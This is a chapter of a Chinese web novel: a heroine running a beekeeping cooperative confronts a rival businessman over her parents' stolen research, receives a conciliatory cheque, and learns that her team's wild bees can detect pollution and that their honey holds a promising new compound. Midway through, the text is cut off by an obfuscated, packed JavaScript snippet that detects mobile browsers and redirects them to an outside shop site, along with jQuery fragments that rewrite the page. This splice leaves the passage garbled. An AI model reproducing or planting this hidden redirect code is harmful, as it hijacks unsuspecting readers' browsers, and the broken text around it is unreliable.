第五十二章：蜂鸣证言
孙强把见面地点约在了县城的茶馆，二楼包间。
王墨汐到的时候，孙强已经在等了。茶桌上摆着一套精致的紫砂茶具，他正在洗茶，动作娴熟，气定神闲，仿佛不是来谈判，而是老友品茗。
“王总，请坐。”孙强抬头，笑容温和，“这是今年的明前龙井，尝尝。”
王墨汐在他对面坐下。梁云峥站在她身后，没有坐。
“孙总客气了。”王墨汐没有动茶杯，“咱们开门见山吧。您停止对合作社的舆论攻击，停止污染环境，咱们各自发展，互不干扰。”
孙强笑了，给自己倒了一杯茶，慢慢品了一口：“王总，您还是这么直接。不过……您是不是太天真了？商场如战场，哪有什么互不干扰？”
他放下茶杯，身体微微前倾：“我上次提的对赌协议，依然有效。八百万，三年，五千万销售额。您点头，之前的攻击我负责摆平，而且帮您把合作社的品牌再推高一个档次。”
“如果我不点头呢？”
“那就不好意思了。”孙强向后靠去，“您手里那些所谓的污染证据，恐怕掀不起什么风浪。我在环保部门……有朋友。倒是您的合作社，经得起几次这样的舆论风波？还有那些预售客户，如果集体要求退款，您那五十万预订款，够退吗？”
话里话外，全是威胁。
王墨汐静静看着他，忽然问：“孙总，您父亲孙伟，当年到底是怎么拿到我父母的研究资料的？”
孙强脸色微变，但很快恢复：“王总说什么，我听不懂。”
“您听得懂。”王墨汐从包里拿出一份复印件，“这是赵永康留下的信件，里面提到了孙伟先生。还有，我们在老宅找到了一些东西……包括您父亲当年写给赵永康的信。”
她把复印件推到孙强面前。上面是那封工整如印刷体的信：“宜早除之”。
孙强的笑容终于僵住了。他盯着那封信，很久没说话。包间里很安静，只有楼下隐约传来的车流声。
“这些东西……您打算怎么用？”他声音低了下来。
“看孙总的选择。”王墨汐说，“如果您收手，这些东西永远封存。如果您继续，那就公之于众，让大家看看，孙家的‘生态事业’，是怎么起家的。”
孙强端起茶杯，手微微发抖。他喝了一口茶，深吸一口气：“王总，您知道吗？我父亲临死前，最后悔的就是这件事。他说，他这辈子最大的错误，就是当年贪心，想要那些研究成果。”
他顿了顿，眼神复杂：“但他也告诉我，那些研究资料里，藏着一个秘密。一个……可能改变很多东西的秘密。”
“什么秘密？”
“我不确定。”孙强摇头，“我父亲没说清楚，只说苏雨晴和王建国在研究过程中，发现了一种特殊物质，可能对某种疾病有特效。但他没拿到完整资料，赵永康只给了他一部分。”
王墨汐心里一震。她想起母亲笔记里那些模糊的记载，想起雨晴花蜜的特殊成分，想起双层巢蜜的高活性。
难道父母当年研究的，不只是蜜源植物，还有更深的东西？
“所以您才这么想要合作社？”梁云峥开口，“不只是为了商业利益，还为了那个秘密？”
孙强没有否认：“王总，咱们合作吧。我出钱，出渠道，您出技术，出团队。如果真能找到那种物质，开发出来，不仅是巨大的商业成功，更是造福人类的好事。您父母的遗愿，不也是这个吗？”
这话击中了王墨汐的软肋。她沉默着。
孙强看到了希望，继续劝说：“您想想，如果那种物质真的存在，真的能治病救人，您把它锁在实验室里，不是浪费吗？咱们联手，让它惠及更多人，不好吗？”
“联手可以。”王墨汐终于开口，“但合作方式要变。”
“怎么变？”
“合作社成立独立的研究公司，您投资，占股，但不参与具体研究。研究成果的知识产权，归合作社所有。商业化收益，按股权分配。”王墨汐一字一句，“这是底线。”
孙强皱起眉头：“那我怎么保证自己的利益？”
“签协议，法律保障。”王墨汐说，“孙总，信任是相互的。您信我一次，我也信您一次。”
包间里再次陷入沉默。孙强手指敲着桌面，显然在权衡。
就在这时，王墨汐的手机震动了一下。她低头看，是赵明发来的消息：“环保部门的人突然来了，说要突击检查孙强的工厂，已经到门口了。不是我们举报的。”
不是合作社举报的？那会是谁？
王墨汐抬头看向孙强，发现他也在看手机，脸色瞬间变得铁青。
“孙总，看来……有人比我们更着急。”她轻声说。
孙强猛地站起来，茶具被带倒，茶水洒了一桌。他盯着手机屏幕，嘴唇发抖。
“王总，今天先到这里。”他抓起外套，“咱们改天再谈。”
“孙总慢走。”王墨汐平静地说。
孙强匆匆离开后，梁云峥问：“怎么回事？”
“环保部门突击检查他的工厂。”王墨汐若有所思，“不是我们举报的，那会是谁？”
“李旭？”
“有可能，但可能性不大。李旭现在自身难保，税务稽查还没结束。”王墨汐摇头，“而且……时机太巧了。”
两人下楼时，茶馆老板迎上来，递过一个信封：“刚才那位先生留下的，说交给您。”
王墨汐打开信封，里面是一张支票，五十万。还有一张纸条：“先解决退款危机。合作的事，再议。”
孙强这是……先示好？
回到合作社，大家正在等消息。看到王墨汐手里的支票，都愣住了。
“孙强给的？”夏薇不敢相信，“他会有这么好心？”
“不是好心，是权衡。”王墨汐把支票交给老钱，“先处理预售退款问题。另外，环保部门突击检查他的工厂，不是我们举报的。赵明，查查是谁。”
赵明点头：“已经在查了。还有件事……郑教授和周教授那边，有个新发现。”
实验室里，郑教授和周文轩正对着电脑屏幕，表情兴奋又凝重。
“墨汐，你来看。”周文轩指着数据图，“我们分析了蓝胸木蜂预警时的行为数据，发现它们对特定污染物的敏感度，比现有检测仪器高十倍以上。”
“什么意思？”王墨汐没完全明白。
“意思是，蓝胸木蜂可以作为一种生物监测器！”郑教授激动地说，“环境污染，特别是重金属和有机污染物，它们比人类仪器更早感知到。我们如果能破解它们的预警机制，就能开发出全新的环境监测技术。”
王墨汐愣住了。这个发现，比她想象的还要重大。
“而且不止这样。”周文轩调出另一组数据，“我们在双层巢蜜里，分离出了一种全新的化合物，暂命名为‘雨晴素’。初步实验显示，这种物质有很强的抗氧化和抗炎活性。”
他顿了顿，声音有些颤抖：“可能……真的对某些疾病有治疗潜力。”
实验室里一片寂静。所有人都明白了这意味着什么——孙强说的那个秘密，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448854|198374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可能真的存在。
“这个消息，暂时保密。”王墨汐第一个反应过来，“专利申请了吗？”
“正在申请。”郑教授说，“但这么大的发现，瞒不了多久。学术界很快就会关注到。”
“那就先发制人。”王墨汐做出决定，“以合作社和研究所的名义，召开一个小型发布会，公布蓝胸木蜂的生物监测功能。关于雨晴素的研究，暂时只说发现了新化合物，不提功效。”
“为什么？”夏薇不解，“这么好的消息，应该大力宣传啊！”
“因为孙强。”梁云峥替王墨汐解释，“如果他知道雨晴素真有治疗潜力，更不会放手了。在咱们做好准备之前，不能让他知道全部真相。”
正说着，李旭的电话来了。他的声音轻松了许多：“王总，税务稽查结束了，没问题。另外……环保部门突击检查孙强的工厂，是我一个朋友推动的。他看不惯孙强打着生态旗号污染环境，就匿名举报了。”
原来是他。
“李总，谢谢。”王墨汐真诚地说。
“不用谢，我也在帮自己。”李旭笑了，“孙强倒了，我的压力也小了。王总，修复林地的工程明天就能恢复，我保证一个月内完成。”
挂断电话，王墨汐看向窗外。夕阳西下，合作社沐浴在金色的余晖中。今天这一天，发生了太多事。
孙强的威胁、示好、秘密；蓝胸木蜂的重大发现；雨晴素的潜在价值；还有李旭暗中相助……
“大家今天辛苦了。”她对众人说，“先休息吧，明天还有很多事要做。”
人群散去后，王墨汐一个人去了体验园。蜜蜂幼儿园里，那些彩色的小蜂箱静静立着，里面是合作社的未来。
梁云峥走过来，握住她的手：“在想什么？”
“想我爸妈。”王墨汐轻声说，“如果他们知道，他们的研究在今天有了这样的进展，该多高兴。”
“他们一定知道。”梁云峥说，“墨汐，你完成了他们未竟的事业，而且做得更好。”
“不是我一个人。”王墨汐靠在他肩上，“是大家，是合作社每一个人。”
“你总是这样，把功劳分给大家。”
“因为本来就是大家的。”王墨汐认真地说，“梁云峥，你知道吗？重生以来，我最大的收获不是事业成功，不是报仇雪恨，而是明白了——一个人可以走得快，但一群人可以走得远。”
梁云峥看着她温柔的侧脸，忽然想起一年前，那个站在破旧老屋前，眼神倔强又孤独的女孩。现在，她身边有了这么多人，眼里也有了光。
“墨汐，等这一切稳定了，咱们把婚礼办了吧。”他轻声说，“就在合作社，请所有乡亲来，热热闹闹的。”
“好。”王墨汐微笑，“等雨晴素的研究有眉目，等蓝胸木蜂的监测技术成熟，咱们就办。”
“一言为定。”
远处，蝶谷方向传来隐约的蜂鸣。蓝胸木蜂结束了一天的劳作，回到蜂巢。它们不知道，自己的行为正在帮助人类监测环境；不知道，自己酿造的蜜里藏着可能造福人类的秘密。
它们只是本能地生活，采集，酿造。而人类从中学到的，远不止是蜂蜜。
王墨汐想起母亲笔记里的最后一句话：“自然是最好的老师，蜜蜂是最好的学生。”
现在，她终于懂了。
夜色渐深，合作社的灯光一盏盏亮起。明天，还有新的挑战，但今夜，可以暂时休憩。
而孙强那边，大概也在权衡——是继续对抗，还是真的合作？
答案，很快就会揭晓。